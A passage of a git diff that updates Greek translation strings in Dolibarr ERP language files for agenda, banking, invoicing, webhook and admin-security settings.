DetailLangs=Όνομα αρχείου Lang για μετάφραση κώδικα ετικέτας @@ -1810,6 +1834,9 @@ AGENDA_USE_EVENT_TYPE=Χρήση τύπων συμβάντων (διαχείρι AGENDA_USE_EVENT_TYPE_DEFAULT=Αυτόματη ρύθμιση αυτής της προεπιλεγμένης τιμής για τον τύπο συμβάντος στη φόρμα δημιουργίας συμβάντος AGENDA_DEFAULT_FILTER_TYPE=Αυτόματη ρύθμιση αυτού του τύπου συμβάντος στο φίλτρο αναζήτησης της προβολής ατζέντας AGENDA_DEFAULT_FILTER_STATUS=Αυτόματη ρύθμιση αυτής της κατάστασης για συμβάντα στο φίλτρο αναζήτησης της προβολής ατζέντας +AGENDA_EVENT_PAST_COLOR=Χρώμα παρελθόντος συμβάντος +AGENDA_EVENT_CURRENT_COLOR=Χρώμα τρέχοντος συμβάντος +AGENDA_EVENT_FUTURE_COLOR=Χρώμα μελλοντικής εκδήλωσης AGENDA_DEFAULT_VIEW=Ποια προβολή θέλετε να ανοίγετε από προεπιλογή όταν επιλέγετε το μενού Ατζέντα AGENDA_REMINDER_BROWSER=Ενεργοποίηση υπενθύμισης συμβάντος στο πρόγραμμα περιήγησης του χρήστη (Όταν φτάσει η ημερομηνία υπενθύμισης, εμφανίζεται ένα αναδυόμενο παράθυρο από το πρόγραμμα περιήγησης. Κάθε χρήστης μπορεί να απενεργοποιήσει τέτοιες ειδοποιήσεις από τη ρύθμιση ειδοποιήσεων του προγράμματος περιήγησης του). AGENDA_REMINDER_BROWSER_SOUND=Ενεργοποίηση ειδοποίησης ήχου @@ -1837,7 +1864,7 @@ StockDecreaseForPointOfSaleDisabledbyBatch=Η μείωση του αποθέμα CashDeskYouDidNotDisableStockDecease=Δεν απενεργοποιήσατε τη μείωση των μετοχών όταν πραγματοποιείτε μια πώληση από το σημείο πώλησης. Ως εκ τούτου απαιτείται αποθήκη. CashDeskForceDecreaseStockLabel=Η μείωση των αποθεμάτων για τα προϊόντα παρτίδας ήταν αναγκαστική. CashDeskForceDecreaseStockDesc=Μειώστε πρώτα από τις παλαιότερες ημερομηνίες κατανάλωσης και πώλησης. -CashDeskReaderKeyCodeForEnter=Κωδικός κλειδιού για το "Enter" που ορίστηκε στον barcode reader (Παράδειγμα: 13) +CashDeskReaderKeyCodeForEnter=Κωδικός κλειδιού ASCII για το "Enter" που ορίζεται στο πρόγραμμα ανάγνωσης γραμμωτού κώδικα (Παράδειγμα: 13) ##### Bookmark ##### BookmarkSetup=Ρύθμιση ενότητας σελιδοδεικτών BookmarkDesc=Αυτή η ενότητα σάς επιτρέπει να διαχειρίζεστε σελιδοδείκτες. Μπορείτε επίσης να προσθέσετε συντομεύσεις σε όλες τις σελίδες του Dolibarr ή σε εξωτερικούς ιστότοπους στο αριστερό σας μενού. @@ -1854,7 +1881,7 @@ ApiProductionMode=Ενεργοποιήστε τη λειτουργία παρα ApiExporerIs=Μπορείτε να εξερευνήσετε και να δοκιμάσετε τα API στη διεύθυνση URL OnlyActiveElementsAreExposed=Εκτίθενται μόνο στοιχεία από ενεργοποιημένες ενότητες ApiKey=Κλειδί για το API -WarningAPIExplorerDisabled=Ο εξερευνητής API έχει απενεργοποιηθεί. Ο εξερευνητής API δεν απαιτείται να παρέχει υπηρεσίες API. Είναι ένα εργαλείο για τον προγραμματιστή να εντοπίσει / δοκιμάσει τα API REST. Αν χρειάζεστε αυτό το εργαλείο, μεταβείτε στη ρύθμιση της ενότητας API REST για να το ενεργοποιήσετε. +WarningAPIExplorerDisabled=Ο API explorer έχει απενεργοποιηθεί. Ο API explorer δεν απαιτείται να παρέχει υπηρεσίες API. Είναι ένα εργαλείο για τον προγραμματιστή ώστε να εντοπίσει / δοκιμάσει τα REST APIs. Αν χρειάζεστε αυτό το εργαλείο, μεταβείτε στη ρύθμιση της ενότητας API REST για να το ενεργοποιήσετε. ##### Bank ##### BankSetupModule=Ρύθμιση ενότητας τράπεζας FreeLegalTextOnChequeReceipts=Ελευθερο κείμενο στις αποδείξεις επιταγών @@ -1875,7 +1902,7 @@ SuppliersInvoiceNumberingModel=Υποδείγματα Αρίθμησης τιμ IfSetToYesDontForgetPermission=Αν είναι ρυθμισμένη σε μη μηδενική τιμή, μην ξεχάσετε να δώσετε δικαιώματα σε ομάδες ή χρήστες που επιτρέπονται για τη δεύτερη έγκριση ##### GeoIPMaxmind ##### GeoIPMaxmindSetup=Ρύθμιση ενότητας GeoIP Maxmind -PathToGeoIPMaxmindCountryDataFile=Διαδρομή προς αρχείο που περιέχει το Maxmind ip στη μετάφραση χώρας.
      Παραδείγματα:
      /usr/local/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoLite2-Country.mmdb +PathToGeoIPMaxmindCountryDataFile=Διαδρομή προς το αρχείο που περιέχει τη μετάφραση του Maxmind GeoIP NoteOnPathLocation=Σημειώστε ότι το αρχείο δεδομένων ip ανά χώρα πρέπει να βρίσκεται μέσα σε έναν κατάλογο που να έχει δικαιώματα ανάγνωσης η PHP σας (Ελέγξτε τις ρυθμίσεις PHP open_basedir και τα δικαιώματα του συστήματος αρχείων). YouCanDownloadFreeDatFileTo=Μπορείτε να κάνετε λήψη μιας δωρεάν δοκιμαστικής έκδοσης του αρχείου χώρας Maxmind GeoIP στη διεύθυνση %s. YouCanDownloadAdvancedDatFileTo=Μπορείτε επίσης να κατεβάσετε μια πιο πλήρη έκδοση , με ενημερώσεις, του αρχείου χώρας Maxmind GeoIP στο %s. @@ -1926,6 +1953,7 @@ BackupDumpWizard=Οδηγός δημιουργίας του αρχείου αν BackupZipWizard=Οδηγός δημιουργίας αρχείου του κατάλογου των εγγράφων SomethingMakeInstallFromWebNotPossible=Η εγκατάσταση εξωτερικής ενότητας δεν είναι δυνατή από τη διεπαφή ιστού για τον ακόλουθο λόγο: SomethingMakeInstallFromWebNotPossible2=Για το λόγο αυτό, η διαδικασία αναβάθμισης που περιγράφεται εδώ είναι μια χειρωνακτική διαδικασία που μπορεί να εκτελέσει μόνο ένας προνομιούχος χρήστης. +InstallModuleFromWebHasBeenDisabledContactUs=Η εγκατάσταση ή η ανάπτυξη εξωτερικών λειτουργικών μονάδων ή δυναμικών ιστοσελίδων, από την εφαρμογή, είναι προς το παρόν κλειδωμένη για λόγους ασφαλείας. Επικοινωνήστε μαζί μας εάν χρειάζεται να ενεργοποιήσετε αυτήν τη δυνατότητα. InstallModuleFromWebHasBeenDisabledByFile=Η εγκατάσταση εξωτερικής ενότητας από την εφαρμογή έχει απενεργοποιηθεί από τον διαχειριστή σας. Πρέπει να του ζητήσετε να αφαιρέσει το αρχείο %s για να επιτραπεί αυτή η δυνατότητα. ConfFileMustContainCustom=Κατά την εγκατάσταση ή τη δημιουργία μιας εξωτερικής ενότητας από την εφαρμογή πρέπει να αποθηκεύσετε τα αρχεία της ενότητας στον κατάλογο %s . Για να υποβληθεί σε επεξεργασία αυτού ο κατάλογος από το Dolibarr, πρέπει να ρυθμίσετε το conf/conf.php και να προσθέσετε τις 2 γραμμές οδηγιών:
      $dolibarr_main_url_root_alt='/custom';
      $dolibarr_main_document_root_alt='%s/custom'; HighlightLinesOnMouseHover=Επισήμανση των γραμμών του πίνακα όταν περνάει ο δρομέας του ποντικιού από πάνω @@ -2053,6 +2081,8 @@ RemoveSpecialChars=Κατάργηση ειδικών χαρακτήρων COMPANY_AQUARIUM_CLEAN_REGEX=Φίλτρο Regex για καθαρισμό τιμής (COMPANY_AQUARIUM_CLEAN_REGEX) COMPANY_DIGITARIA_CLEAN_REGEX=Φίλτρο Regex για καθαρισμό τιμής (COMPANY_DIGITARIA_CLEAN_REGEX) COMPANY_DIGITARIA_UNIQUE_CODE=Δεν επιτρέπεται το διπλότυπο +RemoveSpecialWords=Καθαρισμός ορισμένων λέξεων κατά τη δημιουργία υπολογαριασμών για πελάτες ή προμηθευτές +RemoveSpecialWordsHelp=Καθορίστε τις λέξεις που πρέπει να καθαριστούν πριν από τον υπολογισμό του λογαριασμού πελάτη ή προμηθευτή. Χρησιμοποιήστε ένα ";" ανάμεσα σε κάθε λέξη GDPRContact=Υπεύθυνος Προστασίας Δεδομένων (DPO, Προστασία Προσωπικών Δεδομένων ή επαφή GDPR) GDPRContactDesc=Εάν αποθηκεύετε προσωπικά δεδομένα στο Πληροφοριακό σας Σύστημα, μπορείτε να ορίσετε την επαφή που είναι υπεύθυνη για τον Γενικό Κανονισμό Προστασίας Δεδομένων εδώ HelpOnTooltip=Κείμενο βοήθειας προς εμφάνιση στο αναδυόμενο πλαίσιο επεξήγησης(tooltip) @@ -2080,6 +2110,7 @@ MailboxTargetDirectory=Κατάλογος προορισμού γραμματο EmailcollectorOperations=Λειτουργίες συλλέκτη EmailcollectorOperationsDesc=Οι λειτουργίες εκτελούνται με σειρά από πάνω προς τα κάτω MaxEmailCollectPerCollect=Μέγιστος αριθμός μηνυμάτων ηλεκτρονικού ταχυδρομείου που συλλέγονται +TestCollectNow=Δοκιμαστική συλλογή CollectNow=Συλλέξτε τώρα ConfirmCloneEmailCollector=Είστε σίγουροι ότι θέλετε να αντιγράψετε τον συλλέκτη email %s; DateLastCollectResult=Ημερομηνία τελευταίας προσπάθειας συλλογής @@ -2109,6 +2140,7 @@ CodeLastResult=Κωδικός Τελευταίου αποτελέσματος NbOfEmailsInInbox=Αριθμός email στον κατάλογο προέλευσης LoadThirdPartyFromName=Φόρτωση αναζήτησης τρίτου μέρους στο %s (μόνο φόρτωση) LoadThirdPartyFromNameOrCreate=Φόρτωση αναζήτησης τρίτου μέρους στο %s (δημιουργία αν δεν βρεθεί) +LoadContactFromEmailOrCreate=Φόρτωση αναζήτησης επαφής στο %s (δημιουργία αν δεν βρεθεί) AttachJoinedDocumentsToObject=Αποθηκεύστε τα συνημμένα αρχεία σε έγγραφα αντικειμένων εάν βρεθεί μια αναφορά ενός αντικειμένου στο θέμα του email. WithDolTrackingID=Μήνυμα από μια συνομιλία που ξεκίνησε από ένα πρώτο email που στάλθηκε από το Dolibarr WithoutDolTrackingID=Μήνυμα από μια συνομιλία που ξεκίνησε από ένα πρώτο email που ΔΕΝ εστάλη από το Dolibarr @@ -2183,6 +2215,7 @@ ShowProjectLabel=Ετικέτα έργου PDF_INCLUDE_ALIAS_IN_THIRDPARTY_NAME=Συμπεριλάβετε διακριτικό τίτλο στην ονομασία τρίτου μέρους THIRDPARTY_ALIAS=Όνομα τρίτου μέρους - Διακριτικός τίτλος τρίτου μέρους ALIAS_THIRDPARTY=Διακριτικός τίτλος τρίτου μέρους - Όνομα τρίτου μέρους +PDFIn2Languages=Εμφάνιση ετικετών σε 2 διαφορετικές γλώσσες στα PDF PDF_USE_ALSO_LANGUAGE_CODE=Εάν θέλετε να έχετε κείμενα σε 2 διαφορετικές γλώσσες στο ίδιο PDF, πρέπει να ορίσετε εδώ αυτή τη δεύτερη γλώσσα ώστε το PDF που θα δημιουργηθεί να περιέχει 2 διαφορετικές γλώσσες στην ίδια σελίδα ( μόνο λίγα πρότυπα PDF το υποστηρίζουν). Διατηρήστε το κενό για 1 γλώσσα ανά PDF. PDF_USE_A=Δημιουργήστε έγγραφα PDF με μορφή PDF/A αντί για την προεπιλεγμένη μορφή PDF FafaIconSocialNetworksDesc=Εισαγάγετε εδώ τον κωδικό ενός εικονιδίου FontAwesome. Εάν δεν γνωρίζετε τι είναι το FontAwesome, μπορείτε να χρησιμοποιήσετε τη γενική τιμή fa-address-book. @@ -2211,12 +2244,12 @@ MailToPartnership=Συνεργάτη AGENDA_EVENT_DEFAULT_STATUS=Προεπιλεγμένη κατάσταση συμβάντος κατά τη δημιουργία ενός συμβάντος από τη φόρμα YouShouldDisablePHPFunctions=Θα πρέπει να απενεργοποιήσετε τις λειτουργίες της PHP IfCLINotRequiredYouShouldDisablePHPFunctions=Θα πρέπει να απενεργοποιήσετε τις λειτουργίες της PHP, εκτός εάν χρειάζεται να εκτελέσετε εντολές συστήματος με προσαρμοσμένο κώδικα -PHPFunctionsRequiredForCLI=Για σκοπούς (όπως προγραμματισμένη δημιουργία αντιγράφων ασφαλείας εργασιών ή εκτέλεση προγράμματος antiivurs), πρέπει να διατηρήσετε τις λειτουργίες της PHP +PHPFunctionsRequiredForCLI=Για λειτουργίες shell (όπως προγραμματισμένη δημιουργία αντιγράφων ασφαλείας εργασιών ή εκτέλεση προγράμματος προστασίας από ιούς), πρέπει να διατηρήσετε τις PHP functions NoWritableFilesFoundIntoRootDir=Δεν βρέθηκαν εγγράψιμα αρχεία ή κατάλογοι των κοινών προγραμμάτων στον ριζικό σας κατάλογο (Καλό) RecommendedValueIs=Συνιστάται: %s Recommended=Προτεινόμενη NotRecommended=Δεν προτείνεται -ARestrictedPath=Κάποια περιορισμένη διαδρομή +ARestrictedPath=Κάποια περιορισμένη διαδρομή για αρχεία δεδομένων CheckForModuleUpdate=Ελέγξτε για ενημερώσεις εξωτερικών ενοτήτων CheckForModuleUpdateHelp=Αυτή η ενέργεια θα συνδεθεί με τους επεξεργαστές εξωτερικών ενοτήτων για να ελέγξει εάν είναι διαθέσιμη μια νέα έκδοση. ModuleUpdateAvailable=Υπάρχει διαθέσιμη ενημέρωση @@ -2264,10 +2297,10 @@ LateWarningAfter=Προειδοποίηση μετά την "καθυστέρη TemplateforBusinessCards=Πρότυπο για μια επαγγελματική κάρτα σε διαφορετικό μέγεθος InventorySetup= Ρύθμιση αποθέματος ExportUseLowMemoryMode=Χρησιμοποιήστε low memory mode -ExportUseLowMemoryModeHelp=Χρησιμοποιήστε τη λειτουργία χαμηλής μνήμης για να εκτελέσετε το εκτελέσιμο του αρχείου αντιγράφου ασφαλείας (η συμπίεση γίνεται μέσω ενός pipe αντί στη μνήμη PHP). Αυτή η μέθοδος δεν επιτρέπει τον έλεγχο ότι το αρχείο έχει ολοκληρωθεί και δεν μπορεί να αναφερθεί το μήνυμα σφάλματος εάν αποτύχει. +ExportUseLowMemoryModeHelp=Χρησιμοποιήστε τη λειτουργία χαμηλής μνήμης για να δημιουργήσετε το αρχείου αντιγράφου ασφαλείας (η συμπίεση γίνεται μέσω pipe αντί της μνήμης PHP). Αυτή η μέθοδος δεν επιτρέπει τον έλεγχο ακεραιότητας του αρχείου και δεν μπορεί να αναφερθεί μήνυμα σφάλματος εάν αποτύχει. Χρησιμοποιήστε το εάν αντιμετωπίζετε αρκετά σφάλματα μνήμης. ModuleWebhookName = Webhook -ModuleWebhookDesc = Διεπαφή για αποστολή σε μια διεύθυνση URL ενεργειών του Dolibarr +ModuleWebhookDesc = Interface to catch dolibarr triggers and send data of the event to an URL WebhookSetup = Ρύθμιση webhook Settings = Ρυθμίσεις WebhookSetupPage = Σελίδα ρύθμισης Webhook @@ -2288,6 +2321,8 @@ IconOnly=Μόνο εικονίδιο - Κείμενο μόνο στο αναδυ INVOICE_ADD_ZATCA_QR_CODE=Εμφάνιση του κωδικού QR ZATCA στα τιμολόγια INVOICE_ADD_ZATCA_QR_CODEMore=Ορισμένες αραβικές χώρες χρειάζονται αυτόν τον κωδικό QR στα τιμολόγιά τους INVOICE_ADD_SWISS_QR_CODE=Εμφάνιση του ελβετικού κωδικού QR-Bill στα τιμολόγια +INVOICE_SHOW_SHIPPING_ADDRESS=Εμφάνιση διεύθυνσης αποστολής +INVOICE_SHOW_SHIPPING_ADDRESSMore=Υποχρεωτική αναφορά για τη Γαλλία UrlSocialNetworksDesc=Σύνδεσμος URL του κοινωνικού δικτύου. Χρησιμοποιήστε το {socialid} για το τμήμα της μεταβλητής που περιέχει το αναγνωριστικό του κοινωνικού δικτύου. IfThisCategoryIsChildOfAnother=Αν αυτή η κατηγορία είναι θυγατρική μιας άλλης DarkThemeMode=Λειτουργία σκούρου θέματος(Dark theme) @@ -2307,3 +2342,37 @@ UsePassword=Χρησιμοποιήστε έναν κωδικό πρόσβαση UseOauth=Χρησιμοποιήστε ένα token OAUTH Images=Eικόνες MaxNumberOfImagesInGetPost=Μέγιστος επιτρεπόμενος αριθμός εικόνων προς υποβολή σε ένα πεδίο HTML μιας φόρμας +MaxNumberOfPostOnPublicPagesByIP=Μέγιστος αριθμός αναρτήσεων σε δημόσιες σελίδες με την ίδια διεύθυνση IP σε ένα μήνα +CIDLookupURL=Η ενότητα φέρνει μια διεύθυνση URL που μπορεί να χρησιμοποιηθεί από ένα εξωτερικό εργαλείο για τη λήψη του ονόματος ενός τρίτου μέρους ή μιας επαφής από τον αριθμό τηλεφώνου του. Η διεύθυνση URL προς χρήση είναι: +ScriptIsEmpty=Το script είναι κενό +ShowHideTheNRequests=Εμφάνιση/απόκρυψη των %s αιτημάτων SQL +DefinedAPathForAntivirusCommandIntoSetup=Ορίστε μια διαδρομή για ένα πρόγραμμα προστασίας από ιούς στο %s +TriggerCodes=Συμβάντα που ξεκινούν άλλες ενέργειες +TriggerCodeInfo=Εισάγετε εδώ τον κώδικα των trigger που θα δημιουργήσει μια ανάρτηση ενός αιτήματος ιστού (επιτρέπονται μόνο εξωτερικές διευθύνσεις URL). Μπορείτε να εισάγετε πολλούς κώδικες trigger διαχωρισμένους από κόμμα. +EditableWhenDraftOnly=Εάν δεν είναι επιλεγμένο, η τιμή μπορεί να τροποποιηθεί μόνο όταν το αντικείμενο ειναι σε κατάσταση προσχεδίου +CssOnEdit=Css σε σελίδες επεξεργασίας +CssOnView=Css σε σελίδες προβολής +CssOnList=Css σε σελίδες λίστας +HelpCssOnEditDesc=Css που χρησιμοποιείται κατά την επεξεργασία του πεδίου.
      Παράδειγμα: "minwiwdth100 maxwidth500 widthcentpercentminusx" +HelpCssOnViewDesc=Css που χρησιμοποιείται κατά την προβολή του πεδίου. +HelpCssOnListDesc=Css που χρησιμοποιείται όταν βρίσκεται μέσα σε έναν πίνακα λίστας.
      Παράδειγμα: "tdoverflowmax200" +RECEPTION_PDF_HIDE_ORDERED=Απόκρυψη της ποσότητας που παραγγέλθηκε στα παραγόμενα έγγραφα για παραλαβές +MAIN_PDF_RECEPTION_DISPLAY_AMOUNT_HT=Εμφάνιση της τιμής στα παραγόμενα έγγραφα για παραλαβές +WarningDisabled=Η προειδοποίηση είναι απενεργοποιημένη +LimitsAndMitigation=Όρια πρόσβασης και περιορισμός +DesktopsOnly=Μόνο Desktops +DesktopsAndSmartphones=Desktops και smartphones +AllowOnlineSign=Να επιτρέπεται η online υπογραφή +AllowExternalDownload=Να επιτρέπεται εξωτερική λήψη (χωρίς σύνδεση, χρησιμοποιώντας κοινόχρηστο σύνδεσμο) +DeadlineDayVATSubmission=Προθεσμία υποβολής ΦΠΑ για τον επόμενο μήνα +MaxNumberOfAttachementOnForms=Μέγιστος αριθμός επισυναπτόμενων αρχείων σε μια φόρμα +IfDefinedUseAValueBeetween=Εάν ορίζεται, χρησιμοποιήστε μια τιμή μεταξύ %s και %s +Reload=Επαναφόρτωση +ConfirmReload=Επιβεβαίωση επαναφόρτωσης της μονάδας +WarningModuleHasChangedLastVersionCheckParameter=Προειδοποίηση: η ενότητα %s έχει ορίσει μια παράμετρο για έλεγχο της έκδοσής της σε κάθε πρόσβαση σελίδας. Αυτή είναι μια κακή και μη επιτρεπόμενη πρακτική που μπορεί να κάνει τη σελίδα διαχείρισης ενοτήτων ασταθή. Επικοινωνήστε με τον δημιουργό της ενότητας για να το διορθώσει. +WarningModuleHasChangedSecurityCsrfParameter=Προειδοποίηση: η ενότητα %s έχει απενεργοποιήσει την ασφάλεια CSRF της εγκατάστασης σας. Αυτή η ενέργεια είναι ύποπτη και η εγκατάστασή σας ενδέχεται να μην είναι πλέον ασφαλής. Επικοινωνήστε με τον δημιουργό της ενότητας για εξηγήσεις. +EMailsInGoingDesc=Η διαχείριση των εισερχόμενων email γίνεται από τη ενότητα %s. Πρέπει να την ενεργοποιήσετε και να την διαμορφώσετε εάν χρειάζεται να υποστηρίζετε εισερχόμενα email. +MAIN_IMAP_USE_PHPIMAP=Χρησιμοποιήστε τη βιβλιοθήκη PHP-IMAP για IMAP αντί για εγγενή PHP IMAP. Αυτό επιτρέπει επίσης τη χρήση μιας σύνδεσης OAuth2 για IMAP (η μονάδα OAuth πρέπει επίσης να είναι ενεργοποιημένη). +MAIN_CHECKBOX_LEFT_COLUMN=Εμφάνιση της στήλης για την επιλογή πεδίου και γραμμής στα αριστερά (στα δεξιά από προεπιλογή) + +CSSPage=CSS Style diff --git a/htdocs/langs/el_GR/agenda.lang b/htdocs/langs/el_GR/agenda.lang index 5877db8fb3c..a40cf3ff2d2 100644 --- a/htdocs/langs/el_GR/agenda.lang +++ b/htdocs/langs/el_GR/agenda.lang @@ -68,6 +68,7 @@ ShipmentBackToDraftInDolibarr=Επιστροφή της αποστολης %s σ ShipmentDeletedInDolibarr=Η αποστολή %s διαγράφηκε ShipmentCanceledInDolibarr=Η αποστολή %s ακυρώθηκε ReceptionValidatedInDolibarr=Η παραλαβή %s επικυρώθηκε +ReceptionDeletedInDolibarr=Η παραλαβή %s διαγράφηκε ReceptionClassifyClosedInDolibarr=Η παραλαβή %s ταξινομήθηκε ως κλειστή OrderCreatedInDolibarr=Η Παραγγελία %s δημιουργήθηκε OrderValidatedInDolibarr=Η παραγγελία %s επικυρώθηκε @@ -87,6 +88,7 @@ SupplierInvoiceSentByEMail=Το τιμολόγιο προμηθευτή %s στ ShippingSentByEMail=Η αποστολή %s στάλθηκε μέσω email ShippingValidated= Η αποστολή %s επικυρώθηκε InterventionSentByEMail=Η παρέμβαση %s στάλθηκε μέσω email +ProjectSentByEMail=Το έργο %s στάλθηκε μέσω email ProposalDeleted=Η προσφορά διαγράφηκε OrderDeleted=Η παραγγελία διαγράφηκε InvoiceDeleted=Το τιμολόγιο διαγράφηκε @@ -175,5 +177,6 @@ ReminderType=Τύπος επανάκλησης AddReminder=Δημιουργήστε μια αυτόματη ειδοποίηση υπενθύμισης για αυτή την ενέργεια ErrorReminderActionCommCreation=Σφάλμα κατά τη δημιουργία της ειδοποίησης υπενθύμισης για αυτή την ενέργεια BrowserPush=Αναδυόμενη ειδοποίηση προγράμματος περιήγησης +Reminders=Υπενθυμίσεις ActiveByDefault=Ενεργοποιημένο από προεπιλογή Until=μέχρι diff --git a/htdocs/langs/el_GR/banks.lang b/htdocs/langs/el_GR/banks.lang index b94c14f4b1c..9a3b52111fb 100644 --- a/htdocs/langs/el_GR/banks.lang +++ b/htdocs/langs/el_GR/banks.lang @@ -49,6 +49,9 @@ BankAccountDomiciliation=Διεύθυνση τράπεζας BankAccountCountry=Χώρα λογαριασμού BankAccountOwner=Ιδιοκτήτης Λογαριασμού BankAccountOwnerAddress=Διεύθυνση Ιδιοκτήτη λογαριασμού +BankAccountOwnerZip=Τ.Κ. κατόχου λογαριασμού +BankAccountOwnerTown=Πόλη κατόχου λογαριασμού +BankAccountOwnerCountry=Χώρα κατόχου λογαριασμού CreateAccount=Δημιουργία Λογαριασμού NewBankAccount=Νέος Λογαριασμός NewFinancialAccount=Νέος λογαριασμός @@ -185,4 +188,3 @@ AlreadyOneBankAccount=Έχει ήδη οριστεί ένας τραπεζικό SEPAXMLPlacePaymentTypeInformationInCreditTransfertransactionInformation=Μεταφορά SEPA: 'Τύπος Πληρωμής' στο επίπεδο 'Μεταφορά Πίστωσης' SEPAXMLPlacePaymentTypeInformationInCreditTransfertransactionInformationHelp=Όταν δημιουργείτε ένα αρχείο SEPA XML για μεταφορές πίστωσης, η ενότητα "Πληροφορίες Τύπου πληρωμής" μπορεί τώρα να τοποθετηθεί στην ενότητα "Πληροφορίες Μεταφοράς Πίστωσης" (αντί της ενότητας "Πληρωμή"). Συνιστούμε ανεπιφύλακτα να μην το επιλέξετε ώστε να παραμείνουν η Πληροφορίες Τύπου πληρωμής σε επίπεδο πληρωμής, καθώς όλες οι τράπεζες δεν θα το αποδεχτούν απαραίτητα σε επίπεδο Πληροφοριών Μεταφοράς Πίστωσης. Επικοινωνήστε με την τράπεζά σας προτού τοποθετήσετε το Πληροφορίες Τύπου πληρωμής σε επίπεδο Πληροφοριών Μεταφοράς Πίστωσης. ToCreateRelatedRecordIntoBank=Για να δημιουργήσετε σχετικό τραπεζικό αρχείο που λείπει -BanklineExtraFields=Επιπλέον πεδία τραπεζικής γραμμής diff --git a/htdocs/langs/el_GR/bills.lang b/htdocs/langs/el_GR/bills.lang index 09c984f4ece..3f07afff034 100644 --- a/htdocs/langs/el_GR/bills.lang +++ b/htdocs/langs/el_GR/bills.lang @@ -13,10 +13,12 @@ BillsStatistics=Στατιστικά τιμολογίων πελατών BillsStatisticsSuppliers=Στατιστικά τιμολογίων προμηθευτών DisabledBecauseDispatchedInBookkeeping=Απενεργοποιήθηκε επειδή το τιμολόγιο καταχωρήθηκε στη λογιστική DisabledBecauseNotLastInvoice=Απενεργοποιημένο επειδή το τιμολόγιο δεν μπορεί να διαγράφει. Ορισμένα τιμολόγια καταγράφηκαν μετά από αυτό και θα χαλάσει τη σειρά της αυτόματης αρίθμησης. +DisabledBecauseNotLastSituationInvoice=Απενεργοποιήθηκε επειδή το τιμολόγιο δεν μπορεί να διαγραφεί. Αυτό το τιμολόγιο δεν είναι το τελευταίο στον κύκλο τιμολογίων κατάστασης. DisabledBecauseNotErasable=Απενεργοποιημένο επειδή δεν μπορεί να διαγραφεί -InvoiceStandard=Τυπικό Τιμολόγιο -InvoiceStandardAsk=Τυπικό Τιμολόγιο +InvoiceStandard=Τιμολόγιο +InvoiceStandardAsk=Τιμολόγιο InvoiceStandardDesc=Αυτό το είδος τιμολογίου είναι το τυπικό τιμολόγιο. +InvoiceStandardShort=Τυπικό InvoiceDeposit=Απόδειξη είσπραξης προκαταβολής. InvoiceDepositAsk=Απόδειξη είσπραξης προκαταβολής. InvoiceDepositDesc=Αυτός ο τύπος απόδειξης χρησιμοποιείται όταν λαμβάνετε μια προκαταβολή. @@ -24,6 +26,7 @@ InvoiceProForma=Προτιμολόγιο InvoiceProFormaAsk=Προτιμολόγιο InvoiceProFormaDesc=Το Προτιμολόγιο είναι μια εικόνα ενός πραγματικού τιμολογίου αλλά δεν έχει λογιστική αξία. InvoiceReplacement=Τιμολόγιο Αντικατάστασης +InvoiceReplacementShort=Αντικατάστασης InvoiceReplacementAsk=Τιμολόγιο αντικατάστασης για το τιμολόγιο InvoiceReplacementDesc=Τοτιμολόγιο αντικατάστασης χρησιμοποιείται για την πλήρη αντικατάσταση ενός τιμολογίου που έχει παραληφθεί από τον πελάτη αλλά δεν έχει πληρωθεί.

      Σημείωση: Μπορούν να αντικατασταθούν μόνο τιμολόγια χωρίς πληρωμή. Εάν το τιμολόγιο που αντικαταστήσατε δεν έχει κλείσει ακόμα, θα κλείσει αυτόματα ως «εγκαταλειμμένο». InvoiceAvoir=Πιστωτικό τιμολόγιο @@ -37,7 +40,7 @@ ReplacementInvoice=Τιμολόγιο Αντικατάστασης ReplacedByInvoice=Αντικαταστάθηκε από το τιμολόγιο %s ReplacementByInvoice=Αντικαταστάθηκε από τιμολόγιο CorrectInvoice=Διόρθωση Τιμολογίου %s -CorrectionInvoice=Τιμολόγιο Διόρθωσης +CorrectionInvoice=Σχετικό παραστατικό UsedByInvoice=Χρησιμοποιήθηκε στην πληρωμή του τιμολογίου %s ConsumedBy=Καταναλώθηκε από NotConsumed=Δεν καταναλώθηκε @@ -87,7 +90,7 @@ DefaultPaymentMode=Προκαθορισμένος τρόπος πληρωμής DefaultBankAccount=Προεπιλεγμένος τραπεζικός λογαριασμός IdPaymentMode=Τρόπος Πληρωμής (id) CodePaymentMode=Τρόπος πληρωμής (κωδικός) -LabelPaymentMode=Τρόπος Πληρωμής (label) +LabelPaymentMode=Τρόπος Πληρωμής (ετικέτα) PaymentModeShort=Τρόπος Πληρωμής PaymentTerm=Ορος πληρωμής PaymentConditions=Όροι πληρωμής @@ -135,9 +138,9 @@ BillStatusClosedUnpaid=Κλειστό (απλήρωτο) BillStatusClosedPaidPartially=Πληρωμένο (μερικώς) BillShortStatusDraft=Προσχέδιο BillShortStatusPaid=Πληρωμένο -BillShortStatusPaidBackOrConverted=Επιστρέφονται ή μετατρέπονται +BillShortStatusPaidBackOrConverted=Έχει επιστραφεί ή μετατραπεί Refunded=Έγινε επιστροφή χρημάτων -BillShortStatusConverted=Πληρώθηκε +BillShortStatusConverted=Πληρωμένο BillShortStatusCanceled=Εγκαταλελειμμένο BillShortStatusValidated=Επικυρωμένο BillShortStatusStarted=Ξεκίνησε @@ -159,6 +162,7 @@ ErrorThisPartOrAnotherIsAlreadyUsedSoDiscountSerieCantBeRemoved=Αυτό ή έν ErrorInvoiceIsNotLastOfSameType=Σφάλμα: Η ημερομηνία του τιμολογίου %s είναι %s. Θα πρέπει να είναι παλαιότερη η ίδια με την τελευταία καταχωρημένη ημερομηνία για τον ίδιο τύπο τιμολογίων (%s). Παρακαλώ αλλάξτε την ημερομηνία του τιμολογίου BillFrom=Από BillTo=Στοιχεία Πελάτη +ShippingTo=Αποστολή σε ActionsOnBill=Ενέργειες στο τιμολόγιο RecurringInvoiceTemplate=Πρότυπο / Επαναλαμβανόμενο τιμολόγιο NoQualifiedRecurringInvoiceTemplateFound=Κανένα πρότυπο επαναλαμβανόμενου τιμολογίου δεν είναι κατάλληλο για δημιουργία. @@ -591,9 +595,9 @@ PDFCrevetteSituationInvoiceTitle=Τιμολόγιο κατάστασης PDFCrevetteSituationInvoiceLine=Κατάσταση N°%s: Τιμ. N°%s σε %s TotalSituationInvoice=Σύνολο κατάστασης invoiceLineProgressError=Η πρόοδος της γραμμής τιμολογίου δεν μπορεί να είναι μεγαλύτερη ή ίση με την επόμενη γραμμή τιμολογίου -updatePriceNextInvoiceErrorUpdateline=Σφάλμα: ενημέρωση τιμής στη γραμμή τιμολογίου: %s +updatePriceNextInvoiceErrorUpdateline=Σφάλμα: ενημερώστε την τιμή στη 